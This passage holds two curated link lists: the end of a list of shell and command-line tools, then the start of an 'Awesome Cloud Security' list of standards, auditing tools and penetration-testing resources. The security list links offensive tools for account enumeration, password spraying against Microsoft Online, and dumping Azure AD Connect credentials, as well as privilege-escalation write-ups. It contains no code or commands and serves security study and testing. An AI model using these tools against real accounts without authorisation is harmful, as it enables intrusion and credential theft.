* [aria2](https://github.com/aria2/aria2) - aria2 is a lightweight multi-protocol & multi-source, cross platform download utility operated in command-line. It supports HTTP/HTTPS, FTP, BitTorrent and Metalink
* [balls](https://github.com/jneen/balls) - Bash on Balls
* [bashttpd](https://github.com/avleen/bashttpd) - A web server written in Bash
* [bashhub-server](https://github.com/nicksherron/bashhub-server) - Private cloud shell history. Open source server for bashhub
* [bitpocket](https://github.com/sickill/bitpocket) - "DIY Dropbox" or "2-way directory (r)sync with proper deletion"
* [Dropbox-Uploader](https://github.com/andreafabrizi/Dropbox-Uploader) - Dropbox Uploader is a Bash script which can be used to upload, download, list or delete files from Dropbox
* [httpie](https://github.com/httpie/httpie) - HTTPie is a command line HTTP client, a user-friendly cURL replacement
* [HTTPLab](https://github.com/gchaincl/httplab) - The interactive web server, let you inspect HTTP requests and forge responses.
* [ngincat](https://github.com/jaburns/ngincat) - Tiny Bash HTTP server using netcat
* [resty](https://github.com/micha/resty) - Little command line REST client that you can use in pipelines
* [shell2http](https://github.com/msoap/shell2http) - HTTP-server to execute shell commands. Designed for development, prototyping or remote control
* [vesper](https://github.com/chris-rock/vesper) - 🍸Vesper is a HTTP framework for Bash/Unix Shell
* [xh](https://github.com/ducaale/xh) - Friendly and fast tool for sending HTTP requests
* [youtube-dl](https://yt-dl.org/) - Small command-line program to download videos from YouTube.com and other video sites
## Multimedia and File Formats
*Tools for handling video and audio files.*
* [adb-export](https://github.com/sromku/adb-export) - Export Android content providers to CSV format
* [Android-Kitchen](https://github.com/dsixda/Android-Kitchen) - A text-based kitchen for Android ROM customization. Uses shell scripts and works with Cygwin/OS X/Linux
* [Beets](https://github.com/beetbox/beets) - Music library manager and MusicBrainz tagger
* [cmus](https://github.com/cmus/cmus) - Cross-platform cli audio player.
* [dasel](https://github.com/tomwright/dasel) - Query and update data structures using selectors from the command line. Comparable to [jq](https://github.com/stedolan/jq) / [yq](https://github.com/kislyuk/yq) but supports JSON, YAML, TOML and XML with zero runtime dependencies.
* [dzr](https://github.com/yne/dzr) - Cross-platform Deezer.com audio player.
* [fx](https://github.com/antonmedv/fx) - Command-line JSON processing tool by anononymus JavaScript functions
* [gifgen](https://github.com/lukechilds/gifgen) - Simple high quality GIF encoding
* [image-scraper](https://github.com/sananth12/ImageScraper) - A cool command line image scraper with a lot of features.
* [imgp](https://github.com/jarun/imgp) - Blazing fast batch image resizer and rotator
* [jc](https://github.com/kellyjonbrazil/jc) - Convert command output, file-types, and common strings to JSON or YAML for easier use in scripts.
* [jo](https://github.com/jpmens/jo) - A small utility to create JSON objects from command-line arguments.
* [jq](https://github.com/stedolan/jq) - Sed for json data. You can use it to slice and filter and map and transform structured data
* [korkut](https://github.com/oguzhaninan/korkut) - Quick and simple image processing at the command line.
* [mpv](https://mpv.io/) - Lets you play most audio and video formats (using ASCII characters) in the shell as well as in a GUI.
* [nehm](https://github.com/bogem/nehm) - Console tool, which downloads, sets IDv3 tags and adds to your iTunes (if you use it) your SoundCloud likes in convenient way
* [PiCAST](https://github.com/lanceseidman/PiCAST) - PiCAST turns your $35 Raspberry Pi in to a Chromecast like Device
* [sejda](https://github.com/torakiki/sejda/) - Command line manipulation of PDF documents (split, merge, rotate, convert to jpg, extract text, etc)
* [visidata](https://github.com/saulpw/visidata) - A terminal spreadsheet multitool for exploring and arranging data (csv/json/xml/xls/yaml/etc)
* [xidel](https://github.com/benibela/xidel/) - Cli tool to filter, map and create HTML/XML/JSON data with (Turing-complete) XPath and XQuery.
* [xmlstarlet](http://xmlstar.sourceforge.net/) - Old but powerful tool for command-line XML formatting, filtering, and manipulation.
* [yq](https://github.com/mikefarah/yq) - yq is a portable command-line YAML processor
## Applications
*Command line-based applications or command line access to existing services.*
* [ansiweather](https://github.com/fcambus/ansiweather) - Weather in your terminal, with ANSI colors and Unicode symbols
* [awless](https://github.com/wallix/awless) - A powerful, innovative and small surface CLI to manage AWS.
* [bashblog](https://github.com/cfenollosa/bashblog) - A Bash script that handles blog posting
* [carbon-now-cli](https://github.com/mixn/carbon-now-cli) - 🎨 Beautiful images of your code — from right inside your terminal.
* [choosealicense-cli](https://github.com/lord63/choosealicense-cli) - Choose an OSS license from the comfort of your terminal
* [cointop](https://github.com/miguelmota/cointop) - The fastest and most interactive terminal based UI application for tracking cryptocurrencies
* [dstask](https://github.com/naggie/dstask) - Single binary terminal-based TODO manager with git-based sync + markdown notes per task
* [editly](https://github.com/mifi/editly) - Command line video editor
* [facebook-cli](https://github.com/specious/facebook-cli) - Facebook command line tool
* [fanyi](https://github.com/afc163/fanyi) - Translate English to Chinese in terminal
* [gcalcli](https://github.com/insanum/gcalcli) - Google Calendar command line interface
* [geeknote](https://github.com/VitaliyRodnenko/geeknote) - Command line evernote client
* [haxor-news](https://github.com/donnemartin/haxor-news) - Browse Hacker News like a haxor
* [hn-cli](https://github.com/rafaelrinaldi/hn-cli) - Browse Hacker News from the comfort of your Terminal
* [iponmap](https://github.com/nogizhopaboroda/iponmap) - Draw point on world map using ip address
* [isitup](https://github.com/lord63/isitup) - Check whether a website is up or down
* [jrnl](https://github.com/jrnl-org/jrnl) - A simple command line journal application that stores your journal in a plain text file
* [kanban.bash](https://github.com/coderofsalvation/kanban.bash) - commandline asciii kanban board for minimalist productivity bash hackers (csv-based)
* [ledger](https://github.com/ledger/ledger) - Command line accounting
* [licen](https://github.com/lord63/licen) - Generate your license. Yet another lice, but implement with Jinja2 and docopt
* [md2png](https://github.com/weaming/md2png) - Convert markdown to PNG image
* [moviemon](https://github.com/iCHAIT/moviemon) - Everything about your movies within the command line.
* [nomino](https://github.com/yaa110/nomino) - Batch rename utility using regex, sort and map file options.
* [pcalc](https://github.com/alt-romes/programmer-calculator) - Calculator made for programmers working with multiple number representations, sizes, and overall close to the bits.
* [pockyt](https://github.com/achembarpu/pockyt) - Read, Manage, and Automate your [Pocket](https://getpocket.com) collection.
* [pushblast](https://github.com/alebcay/pushblast) - Get PushBullet notifications when a shell program exits
* [pushbullet-bash](https://github.com/Red5d/pushbullet-bash) - Bash interface to the PushBullet API
* [ranger](https://github.com/ranger/ranger) - A console file manager with VI key bindings.
* [Reddit Terminal Viewer](https://github.com/michael-lazar/rtv) - Browse Reddit from your terminal
* [SAWS](https://github.com/donnemartin/saws) - A Supercharged AWS CLI
* [taskbook](https://github.com/klaussinani/taskbook) - Tasks, boards & notes for the command-line habitat
* [taskwarrior](https://taskwarrior.org/) - A command-line TODO list manager
* [terjira](https://github.com/keepcosmos/terjira) - Command line power tool for Jira
* [ticker](https://github.com/achannarasappa/ticker) — Terminal stock ticker with live updates and position tracking
* [vl](https://github.com/ellisonleao/vl) - URL link checker on text documents
* [wego](https://github.com/schachmat/wego) - Weather app for the terminal
* [whales](https://github.com/Gueils/whales) - A tool to automatically dockerize your applications
* [whereami](https://github.com/rafaelrinaldi/whereami) - Get your geolocation information from the CLI
* [wttr.in](https://github.com/chubin/wttr.in) - :partly_sunny: The right way to check the weather (curl wttr.in)
## Games
*All work and no play is a cruddy way to spend your day.*
* [bash2048](https://github.com/mydzor/bash2048) - Bash implementation of 2048 game
* [minesweeper](https://github.com/feherke/Bash-script/tree/master/minesweeper) - Bash implementation of minesweeper
* [nudoku](https://github.com/jubalh/nudoku) - ncurses based sudoku game written in C
* [piu-piu](https://github.com/vaniacer/piu-piu-SH) - Horizontal scroller game in bash with multiplayer mode!
* [sedtris](https://github.com/uuner/sedtris) - Tetris in sed
* [sed-scripts](https://github.com/aureliojargas/sed-scripts) - Arkanoid and Sokoban written using sed
* [SHTAP](https://notimetoplay.org/engines/shtap/) - Reusable text adventure engine for Bash 4
* [tty-solitaire](https://github.com/mpereira/tty-solitaire) - Play solitaire in your terminal!
## Shell Package Management
*Tools for managing multiple shell configurations. For zsh-specific tools, see the Zsh section.*
* [bash-it](https://github.com/Bash-it/bash-it) - A community Bash framework
* [basher](https://github.com/basherpm/basher) - A package manager for shell scripts
* [bashing](https://github.com/xsc/bashing) - Smashing Bash into Pieces
* [bpkg](https://www.bpkg.sh/) - JavaScript has npm, Ruby has Gems, Python has pip and now Shell has bpkg
* [dotdrop](https://github.com/deadc0de6/dotdrop) - Save your dotfiles once, deploy them everywhere
* [dotfiler](https://github.com/svetlyak40wt/dotfiler) – Shell agnostic git based dotfiles package manager, written in Python.
* [fresh](https://github.com/freshshell/fresh) - Keep your dotfiles fresh
* [homeshick](https://github.com/andsens/homeshick) - Git dotfile synchronizer written in Bash
* [shallow-backup](https://github.com/alichtman/shallow-backup) - Easily create lightweight documentation of installed packages, dotfiles, and more
* [shundle](https://github.com/javier-lopez/shundle) - Plugin manager for shell scripts
* [vcsh](https://github.com/RichiH/vcsh) - Config manager based on Git
* [yadm](https://yadm.io/) - Git-based dotfiles manager supporting encryption, alternates, and bootstrapping
## Shell Script Development
*Tools for writing, improving, or organizing Bash or other shell scripts*
* [ansi](https://github.com/fidian/ansi) - ANSI escape codes in pure bash - change text color, position the cursor, much more
* [assert.sh](https://github.com/lehmannro/assert.sh) - Bash unit testing framework
* [bashew](https://github.com/pforret/bashew) - bash script creator - from small stand-alone script to complex projects with CI/CD and testing
* [bashful](https://github.com/jmcantrell/bashful) - A collection of libraries to simplify writing Bash scripts
* [Bashlets](https://github.com/reale/bashlets) - A modular extensible toolbox for Bash
* [bashly](https://bashly.dannyb.co/) - Bash command line framework and CLI generator
* [bashmanager](https://github.com/lingtalfi/bashmanager) - mini bash framework for creating command line tools
* [bashwithnails](https://github.com/mindaugasbarysas/bashwithnails) - a Bash framework written just for fun with testing, dependency management & packaging
* [bash-language-server](https://github.com/bash-lsp/bash-language-server) - [LSP](https://microsoft.github.io/language-server-protocol/)-based Bash language server
* [bash-modules](https://github.com/vlisivka/bash-modules) - functions for developing with [unofficial strict mode](http://redsymbol.net/articles/unofficial-bash-strict-mode/) enabled.
* [bats](https://github.com/bats-core/bats-core) - Bash Automated Testing System
* [composure](https://github.com/erichs/composure) - Compose, document, version and organize your shell functions
* [crash](https://github.com/molovo/crash) - Proper error handling, exceptions and try/catch for ZSH
* [critic.sh](https://github.com/Checksum/critic.sh) - Dead simple testing framework for Bash with coverage reporting
* [dispatch](https://github.com/Mosai/workshop/blob/master/doc/dispatch.md) - A command line argument parser in 50 lines of portable shell script.
* [esh](https://github.com/jirutka/esh) - A simple templating engine based on shell, implemented in ~290 lines of POSIX shell and awk.
* [Fishtape](https://github.com/jorgebucaran/fishtape) - TAP producer and test harness for fish
* [getoptions](https://github.com/ko1nksm/getoptions) - An elegant option parser for shell scripts (sh, bash and all POSIX shells)
* [getopts.fish](https://github.com/jorgebucaran/getopts.fish) - CLI parser for fish
* [is.sh](https://github.com/qzb/is.sh) - An alternative for builtin test command, it will make your "if" statements pretty
* [lumberjack](https://github.com/molovo/lumberjack) - A logging interface for shell scripts
* [mo](https://github.com/tests-always-included/mo) - Mustache templates in pure bash
* [optparse](https://github.com/nk412/optparse) - A BASH wrapper for getopts, for simple command line arguments.
* [rerun](https://github.com/rerun/rerun) - A modular shell automation framework to organize your keeper scripts
* [revolver](https://github.com/molovo/revolver) - A reusable progress spinner for shell scripts
* [phases](https://github.com/sorokine/phases) - Minimally invasive bash preprocessor, select sections of your script to run
* [powscript](https://github.com/coderofsalvation/powscript) - bash transpiler written in bash (coffeescript for bash)
* [semver_bash](https://github.com/cloudflare/semver_bash) - Semantic Versioning in Bash
* [sh-semver](https://github.com/qzb/sh-semver) - Semver tool for bash - finds versions matching to specified rules
* [shellcheck](https://github.com/koalaman/shellcheck) - Static analysis tool for shell scripts
* [shellfire](https://github.com/shellfire-dev/shellfire) - A repository of namespaced, composable shell (bash, sh and dash) function libraries
* [shellspec](https://github.com/shellspec/shellspec) - A full-featured BDD unit testing framework for dash, bash, ksh, zsh and all POSIX shells
* [shfmt](https://github.com/mvdan/sh) - A shell parser, formatter, and interpreter with bash support; includes shfmt
* [shpec](https://github.com/rylnd/shpec) - A shell testing framework
* [shutit](https://ianmiell.github.io/shutit/) - Automation framework based on bash and pexpect
* [sub](https://github.com/basecamp/sub) - A delicious way to organize programs
* [ts](https://github.com/thinkerbot/ts) - A shell test script
* [urchin](https://github.com/tlevine/urchin) - An idiomatic shell testing framework that uses only shell commands
* [shunit2](https://github.com/kward/shunit2) - A unit test framework for Bash scripts with a flavour of JUnit/PyUnit.
* [rebash](https://github.com/jandob/rebash) - Scripting library/framework. Features: imports, exceptions, doc-tests ...
* [zunit](https://github.com/zunit-zsh/zunit) - A powerful unit testing framework for ZSH
# Guides
* [Bash Official Reference Manual](https://www.gnu.org/savannah-checkouts/gnu/bash/manual/bash.html)
* [Bash Hackers Wiki](https://wiki.bash-hackers.org/)
* [Greg Wooledge's (aka "greycat") wiki](https://mywiki.wooledge.org).
Specifically [Bash Guide](https://mywiki.wooledge.org/BashGuide), [Bash FAQ](https://mywiki.wooledge.org/BashFAQ) and [Bash Pitfalls](https://mywiki.wooledge.org/BashPitfalls)
* [Google's Shell Style Guide](https://google.github.io/styleguide/shell.xml)
* [The Linux Documentation Project: Bash Programming - Intro/How-to](https://tldp.org/HOWTO/Bash-Prog-Intro-HOWTO.html)
* [The Linux Documentation Project: Advanced Bash Scripting Guide](https://tldp.org/LDP/abs/html/)
* [WikiBooks: Bash Shell Scripting](https://en.wikibooks.org/wiki/Bash_Shell_Scripting)
* [Use the Unofficial Bash Strict Mode (Unless You Looove Debugging)](http://redsymbol.net/articles/unofficial-bash-strict-mode/)
* [The Art of Command Line](https://github.com/jlevy/the-art-of-command-line)
* [Learn Enough Command Line to Be Dangerous](https://www.learnenough.com/command-line-tutorial/basics)
* [A guide to learn bash](https://github.com/Idnan/bash-guide)
* [Shell Field Guide](https://raimonster.com/scripting-field-guide/)
# Other Awesome Lists
Other amazingly awesome lists can be found in [awesome-awesome](https://github.com/emijrp/awesome-awesome) and [awesome-awesomeness](https://github.com/bayandin/awesome-awesomeness).
### See also
* [awesome-cli-apps](https://github.com/agarrharr/awesome-cli-apps)
* [awesome-fish][awesome-fish]
* [awesome-zsh][awesome-zsh]
* [terminals-are-sexy](https://github.com/k4m4/terminals-are-sexy)
[awesome-badge]: https://raw.githubusercontent.com/sindresorhus/awesome/d7305f38d29fed78fa85652e3a63e154dd8e8829/media/badge.svg
[awesome-fish]: https://github.com/jorgebucaran/awsm.fish
[awesome-link]: https://github.com/sindresorhus/awesome
[awesome-zsh]: https://github.com/unixorn/awesome-zsh-plugins
|
# Awesome Cloud Security
⚔️🛡️⚔️ Awesome curated list of cloud security resources including relevant penetration testing tools for Cloud Security
# Contents
- [Standards](#standards)
- [Compliances](#compliances)
- [Benchmarks](#benchmarks)
- [Tools](#tools)
- [Infrastrcture](#infrastrcture)
- [Container](#container)
- [SaaS](#saas)
- [Native tools](#nativetools)
- [Penetration Testing](#penetration-testing)
- [Enumeration](#enumeration)
- [Information Gathering](#information-gathering)
- [Lateral Movement](#lateral-movement)
- [Exploitation](#exploitation)
- [Credential Attacks](#credential-attacks)
- [Reading materials](#reading-materials)
- [AWS](#aws)
- [Azure](#azure)
- [GCP](#gcp)
- [Others](#others)
- [Resources](#resources)
- [Lists and Cheat Sheets](#lists-and-cheat-sheets)
- [Lab Exercises](#lab-exercises)
- [Talks & Videos](#talks-and-videos)
- [Books](#books)
- [Tips and Tricks](#tips-and-tricks)
# Standards
## Compliances
* [CSA STAR](https://cloudsecurityalliance.org/star/)
* [ISO/IEC 27017:2015](https://www.iso.org/standard/43757.html)
* [ISO/IEC 27018:2019](https://www.iso.org/standard/76559.html)
* [MTCS SS 584](https://www.imda.gov.sg/regulations-and-licensing-listing/ict-standards-and-quality-of-service/IT-Standards-and-Frameworks/ComplianceAndCertification)
## Benchmarks
* [CIS Benchmark](https://www.cisecurity.org/cis-benchmarks/)
# Tools
## Infrastrcture
* [aws_pwn](https://github.com/dagrz/aws_pwn): A collection of AWS penetration testing junk
* [aws_ir](https://github.com/ThreatResponse/aws_ir): Python installable command line utility for mitigation of instance and key compromises.
* [aws-vault](https://github.com/99designs/aws-vault): A vault for securely storing and accessing AWS credentials in development environments.
* [awspx](https://github.com/FSecureLABS/awspx): A graph-based tool for visualizing effective access and resource relationships within AWS.
* [azucar](https://github.com/nccgroup/azucar): A security auditing tool for Azure environments
* [checkov](https://github.com/bridgecrewio/checkov): A static code analysis tool for infrastructure-as-code.
* [CloudBrute](https://github.com/0xsha/CloudBrute): A multiple cloud enumerator.
* [cloud-forensics-utils]([https://github.com/google/cloud-forensics-utils): A python lib for DF & IR on the cloud.
* [cloudlist](https://github.com/projectdiscovery/cloudlist): Listing Assets from multiple Cloud Providers.
* [cloudgoat](https://github.com/RhinoSecurityLabs/cloudgoat): "Vulnerable by Design" AWS deployment tool.
* [Cloudmapper](https://github.com/duo-labs/cloudmapper): Analyze your AWS environments.
* [cloudsplaining](https://github.com/salesforce/cloudsplaining): An AWS IAM Security Assessment tool that identifies violations of least privilege and generates a risk-prioritized report.
* [Cloudsploit Scans](https://github.com/cloudsploit/scans): Cloud security configuration checks.
* [Cloud-custodian](https://github.com/cloud-custodian/cloud-custodian): Rules engine for cloud security, cost optimization, and governance.
* [cs suite](https://github.com/SecurityFTW/cs-suite): Tool for auditing the security posture of AWS/GCP/Azure.
* [diffy](https://github.com/Netflix-Skunkworks/diffy): Diffy is a digital forensics and incident response (DFIR) tool developed by Netflix.
* [ElectricEye](https://github.com/jonrau1/ElectricEye): Continuously monitor AWS services for configurations.
* [Forseti security](https://github.com/forseti-security/forseti-security): GCP inventory monitoring and policy enforcement tool.
* [Hammer](https://github.com/dowjones/hammer): A multi-account cloud security tool for AWS. It identifies misconfigurations and insecure data exposures within most popular AWS resources.
* [kics](https://github.com/Checkmarx/kics): Find security vulnerabilities, compliance issues, and infrastructure misconfigurations early in the development cycle of your infrastructure-as-code.
* [Leonidas](https://github.com/FSecureLABS/leonidas): A framework for executing attacker actions in the cloud.
* [Open policy agent](https://www.openpolicyagent.org/): Policy-based control tool.
* [pacbot](https://github.com/tmobile/pacbot): Policy as Code Bot.
* [pacu](https://github.com/RhinoSecurityLabs/pacu): The AWS exploitation framework.
* [Prowler](https://github.com/toniblyx/prowler): Command line tool for AWS Security Best Practices Assessment, Auditing, Hardening and Forensics Readiness Tool.
* [ScoutSuite](https://github.com/nccgroup/ScoutSuite): Multi-cloud security auditing tool.
* [Security Monkey](https://github.com/Netflix/security_monkey): Monitors AWS, GCP, OpenStack, and GitHub orgs for assets and their changes over time.
* [SkyArk](https://github.com/cyberark/SkyArk): Tool to helps to discover, assess and secure the most privileged entities in Azure and AWS.
* [SkyWrapper](https://github.com/cyberark/SkyWrapper): Tool helps to discover suspicious creation forms and uses of temporary tokens in AWS.
* [Smogcloud](https://github.com/BishopFox/smogcloud): Find cloud assets that no one wants exposed.
* [TerraGoat](https://github.com/bridgecrewio/terragoat): Bridgecrew's "Vulnerable by Design" Terraform repository.
* [Terrascan](https://github.com/accurics/terrascan): Detect compliance and security violations across Infrastructure as Code to mitigate risk before provisioning cloud native infrastructure.
* [tfsec](https://github.com/liamg/tfsec): Static analysis powered security scanner for Terraform code.
* [Zeus](https://github.com/DenizParlak/Zeus): AWS Auditing & Hardening Tool.
## Container
* [auditkube](https://github.com/opszero/auditkube): Audit for for EKS, AKS and GKE for HIPAA/PCI/SOC2 compliance and cloud security.
* [ccat](https://github.com/RhinoSecurityLabs/ccat): Cloud Container Attack Tool.
* [Falco](https://github.com/falcosecurity/falco): Container runtime security.
* [mkit](https://github.com/darkbitio/mkit): Managed kubernetes inspection tool.
* [Open policy agent](https://www.openpolicyagent.org/): Policy-based control tool.
## SaaS
* [Function Shield](https://github.com/puresec/FunctionShield): Protection/destection lib of aws lambda and gcp function.
* [FestIN](https://github.com/cr0hn/festin): S3 bucket finder and content discover.
* [GCPBucketBrute](https://github.com/RhinoSecurityLabs/GCPBucketBrute): A script to enumerate Google Storage buckets.
* [Lambda Guard](https://github.com/Skyscanner/LambdaGuard): AWS Lambda auditing tool.
* [Policy Sentry](https://github.com/salesforce/policy_sentry): IAM Least Privilege Policy Generator.
* [S3 Inspector](https://github.com/kromtech/s3-inspector): Tool to check AWS S3 bucket permissions.
* [Serverless Goat](https://github.com/OWASP/Serverless-Goat): A serverless application demonstrating common serverless security flaws
## Native tools
* AWS
* [Artifact](https://aws.amazon.com/artifact/): Compliance report selfservice.
* [Certificate Manager](https://aws.amazon.com/certificate-manager/): Private CA and certificate management service.
* [CloudTrail](https://aws.amazon.com/cloudtrail/): Record and log API call on AWS.
* [Config](https://aws.amazon.com/config/): Configuration and resources relationship monitoring.
* [Detective](https://aws.amazon.com/detective/): Analyze and visualize security data and help security investigations.
* [Firewall Manager](https://aws.amazon.com/firewall-manager/): Firewall management service.
* [GuardDuty](https://aws.amazon.com/guardduty/): IDS service
* [CloudHSM](https://aws.amazon.com/cloudhsm/): HSM service.
* [Inspector](https://aws.amazon.com/inspector/): Vulnerability discover and assessment service.
* [KMS](https://aws.amazon.com/kms/): KMS service
* [Macie](https://aws.amazon.com/macie/): Fully managed data security and data privacy service for S3.
* [Network Firewall](https://aws.amazon.com/network-firewall/): Network firewall service.
* [Secret Manager](https://aws.amazon.com/secrets-manager/): Credential management service.
* [Security Hub](https://aws.amazon.com/security-hub/): Integration service for other AWS and third-party security service.
* [Shield](https://aws.amazon.com/shield/): DDoS protection service.
* [VPC Flowlog](https://docs.aws.amazon.com/vpc/latest/userguide/flow-logs.html): Log of network traffic.
* [WAF](https://aws.amazon.com/waf/): Web application firewall service.
* Azure
* [Application Gateway](https://azure.microsoft.com/en-us/services/application-gateway/): L7 load balancer with optional WAF function.
* [DDoS Protection](https://azure.microsoft.com/en-us/services/ddos-protection/): DDoS protection service.
* [Dedicated HSM](https://azure.microsoft.com/en-us/services/azure-dedicated-hsm/): HSM service.
* [Key Vault](https://azure.microsoft.com/en-us/services/key-vault/): KMS service
* [Monitor](https://docs.microsoft.com/en-us/azure/azure-monitor/): API log and monitoring related service.
* [Security Center](https://azure.microsoft.com/en-us/services/security-center/): Integration service for other Azure and third-party security service.
* [Sentinel](https://azure.microsoft.com/zh-tw/services/azure-sentinel/): SIEM service.
* GCP
* [Access Transparency](https://cloud.google.com/access-transparency): Transparency log and control of GCP.
* [Apigee Sense](https://cloud.google.com/apigee/api-management/apigee-sense): API security monitoring, detection, mitigation.
* [Armor](https://cloud.google.com/armor): DDoS protection and WAF service
* [Asset Inventory](https://cloud.google.com/asset-inventory): Asset monitoring service.
* [Audit Logs](https://cloud.google.com/audit-logs): API logs.
* [Cloud HSM](https://cloud.google.com/hsm): HSM service
* [Context-aware Access](https://cloud.google.com/context-aware-access): Enable zero trust access to applications and infrastructure.
* [DLP](https://cloud.google.com/dlp): DLP service:
* [EKM](https://cloud.google.com/ekm): External key management service
* [Identity-Aware Proxy](https://cloud.google.com/iap): Identity-Aware Proxy for protect the internal service.
* [KMS](https://cloud.google.com/kms): KMS service
* [Policy Intelligence](https://cloud.google.com/policy-intelligence): Detect the policy related risk.
* [Security Command Center](https://cloud.google.com/security-command-center): Integration service for other GCP security service.
* [Security Scanner](https://cloud.google.com/security-scanner): Application security scanner for GAE, GCE, GKE.
* [Event Threat Detection](https://cloud.google.com/event-threat-detection): Threat dection service.
* [VPC Service Controls](https://cloud.google.com/vpc-service-controls): GCP service security perimeter control.
## Penetration Testing
### Enumeration
- [o365creeper](https://github.com/LMGsec/o365creeper) - Enumerate valid email addresses
- [CloudBrute](https://github.com/0xsha/CloudBrute) - Tool to find a cloud infrastructure of a company on top Cloud providers
- [cloud_enum](https://github.com/initstring/cloud_enum) - Multi-cloud OSINT tool. Enumerate public resources in AWS, Azure, and Google Cloud
- [Azucar](https://github.com/nccgroup/azucar) - Security auditing tool for Azure environments
- [CrowdStrike Reporting Tool for Azure (CRT)](https://github.com/CrowdStrike/CRT) - Query Azure AD/O365 tenants for hard to find permissions and configuration settings
- [ScoutSuite](https://github.com/nccgroup/ScoutSuite) - Multi-cloud security auditing tool. Security posture assessment of different cloud environments.
- [BlobHunter](https://github.com/cyberark/blobhunter) - A tool for scanning Azure blob storage accounts for publicly opened blobs
- [Grayhat Warfare](https://buckets.grayhatwarfare.com/) - Open Azure blobs and AWS bucket search
### Information Gathering
- [o365recon](https://github.com/nyxgeek/o365recon) - Information gathering with valid credentials to Azure
- [Get-MsolRolesAndMembers.ps1](https://gist.github.com/ciphertxt/2036e614edf4bf920796059017fbbc3d) - Retrieve list of roles and associated role members
- [ROADtools](https://github.com/dirkjanm/ROADtools) - Framework to interact with Azure AD
- [PowerZure](https://github.com/hausec/PowerZure) - PowerShell framework to assess Azure security
- [Azurite](https://github.com/FSecureLABS/Azurite) - Enumeration and reconnaissance activities in the Microsoft Azure Cloud
- [Sparrow.ps1](https://github.com/cisagov/Sparrow) - Helps to detect possible compromised accounts and applications in the Azure/M365 environment
- [Hawk](https://github.com/T0pCyber/hawk) - Powershell based tool for gathering information related to O365 intrusions and potential breaches
### Lateral Movement
- [Stormspotter](https://github.com/Azure/Stormspotter) - Azure Red Team tool for graphing Azure and Azure Active Directory objects
- [AzureADLateralMovement](https://github.com/talmaor/AzureADLateralMovement) - Lateral Movement graph for Azure Active Directory
- [SkyArk](https://github.com/cyberark/SkyArk) - Discover, assess and secure the most privileged entities in Azure and AWS
### Exploitation
- [MicroBurst](https://github.com/NetSPI/MicroBurst) - A collection of scripts for assessing Microsoft Azure security
- [azuread_decrypt_msol_v2.ps1](https://gist.github.com/xpn/f12b145dba16c2eebdd1c6829267b90c) - Decrypt Azure AD MSOL service account
#### Credential Attacks
- [MSOLSpray](https://github.com/dafthack/MSOLSpray) - A password spraying tool for Microsoft Online accounts (Azure/O365)
- [MFASweep](https://github.com/dafthack/MFASweep) - A tool for checking if MFA is enabled on multiple Microsoft Services Resources
- [adconnectdump](https://github.com/fox-it/adconnectdump) - Dump Azure AD Connect credentials for Azure AD and Active Directory
# Reading Materials
## AWS
- [Overiew of AWS Security](https://aws.amazon.com/security/)
- [AWS-IAM-Privilege-Escalation by RhinoSecurityLabs](https://github.com/RhinoSecurityLabs/AWS-IAM-Privilege-Escalation): A centralized source of all AWS IAM privilege escalation methods.
- [MITRE ATT&CK Matrices of AWS](https://attack.mitre.org/matrices/enterprise/cloud/aws/)
- [AWS security workshops](https://github.com/aws-samples/aws-security-workshops)
- [Bucket search by grayhatwarfare](https://buckets.grayhatwarfare.com/)
## Azure
- [Overiew of Azure Security](https://azure.microsoft.com/en-us/overview/security/)
- [Azure security fundamentals](https://docs.microsoft.com/en-us/azure/security/fundamentals/)
- [MicroBurst by NetSPI](https://github.com/NetSPI/MicroBurst): A collection of scripts for assessing Microsoft Azure security
- [MITRE ATT&CK Matrices of Azure](https://attack.mitre.org/matrices/enterprise/cloud/azure/)
- [Abusing Azure AD SSO with the Primary Refresh Token ](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/)
- [Abusing dynamic groups in Azure AD for Privilege Escalation](https://www.mnemonic.no/blog/abusing-dynamic-groups-in-azure/)
- [Attacking Azure, Azure AD, and Introducing PowerZure](https://hausec.com/2020/01/31/attacking-azure-azure-ad-and-introducing-powerzure/)
- [Attacking Azure & Azure AD, Part II](https://posts.specterops.io/attacking-azure-azure-ad-part-ii-5f336f36697d)
- [Azure AD Connect for Red Teamers](https://blog.xpnsec.com/azuread-connect-for-redteam/)
- [Azure AD Introduction for Red Teamers](https://www.synacktiv.com/posts/pentest/azure-ad-introduction-for-red-teamers.html)
- [Azure AD Pass The Certificate](https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597)
- [Azure AD privilege escalation - Taking over default application permissions as Application Admin](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)
- [Defense and Detection for Attacks Within Azure](https://posts.specterops.io/detecting-attacks-within-azure-bdc40f8c0766)
- [Hunting Azure Admins for Vertical Escalation](https://www.lares.com/blog/hunting-azure-admins-for-vertical-escalation/)
- [Impersonating Office 365 Users With Mimikatz](https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/)
- [Lateral Movement from Azure to On-Prem AD](https://posts.specterops.io/death-from-above-lateral-movement-from-azure-to-on-prem-ad-d18cb3959d4d)
- [Malicious Azure AD Application Registrations](https://www.lares.com/blog/malicious-azure-ad-application-registrations/)
- [Moving laterally between Azure AD joined machines](https://medium.com/@talthemaor/moving-laterally-between-azure-ad-joined-machines-ed1f8871da56)
- [CrowdStrike Launches Free Tool to Identify and Help Mitigate Risks in Azure Active Directory](https://www.crowdstrike.com/blog/crowdstrike-launches-free-tool-to-identify-and-help-mitigate-risks-in-azure-active-directory/)
- [Privilege Escalation Vulnerability in Azure Functions](https://www.intezer.com/blog/cloud-security/royal-flush-privilege-escalation-vulnerability-in-azure-functions/)
## GCP
- [Overiew of GCP Security](https://cloud.google.com/security)
- [GKE security scenarios demo](https://github.com/GoogleCloudPlatform/gke-security-scenarios-demo)
- [MITRE ATT&CK Matrices of GCP](https://attack.mitre.org/matrices/enterprise/cloud/gcp/)
## Others
- [Cloud Security Research by RhinoSecurityLabs](https://github.com/RhinoSecurityLabs/Cloud-Security-Research)
- [CSA cloud security guidance v4](https://cloudsecurityalliance.org/artifacts/security-guidance-v4/)
- [Appsecco provides training](https://github.com/appsecco/breaking-and-pwning-apps-and-servers-aws-azure-training)
- [Mapping of On-Premises Security Controls vs. Major Cloud Providers Services](https://www.eventid.net/docs/onprem_to_cloud.asp)
# Resources
## Lists and Cheat Sheets
- [Azure Articles from NetSPI](https://blog.netspi.com/?s=azure)
- [Azure Cheat Sheet on CloudSecDocs](https://cloudsecdocs.com/azure/services/overview/)
- [Resources about Azure from Cloudberry Engineering](https://cloudberry.engineering/tags/azure/)
